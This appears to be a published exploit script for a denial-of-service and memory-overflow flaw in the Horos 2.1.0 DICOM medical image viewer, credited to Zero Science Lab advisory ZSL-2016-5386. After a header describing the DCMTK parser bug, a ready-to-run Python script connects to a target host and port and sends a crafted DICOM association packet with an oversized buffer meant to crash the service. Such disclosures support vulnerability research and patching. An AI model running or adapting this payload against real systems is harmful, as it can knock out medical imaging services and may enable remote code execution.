Horos 2.1.0 DICOM Medical Image Viewer – Denial of Service
#!/usr/bin/env python # -*- coding: utf8 -*- # # # Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability # # # Vendor: Horos Project # Product web page: https://www.horosproject.org # Affected version: 2.1.0 # # Summary: Horos™ is an open-source, free medical image viewer. The goal of the Horos Project is # to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX # and other open source medical imaging libraries. # # Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that # are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL. # Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length # of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can # overflow the stack and the heap of the process when sending large array of bytes to the presentation # context item length segment of the DICOM standard, potentially resulting in remote code execution # and/or denial of service scenario. # # Tested on: OS X 10.12.2 (Sierra) # OS X 10.12.1 (Sierra) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5386 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php # # # 15.12.2016 # import sys, socket hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48' '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f' '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34' '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e' '\x31\x20\x00\x80\x00') buffer = '\x41\x42\x43\x44' * 10000 bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde' '\x52\x00\x00\x00') if len(sys.argv) < 3: print '\nUsage: ' +sys.argv[0]+ ' <target> <port>' print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(251) s.send(hello+buffer+bye) s.close |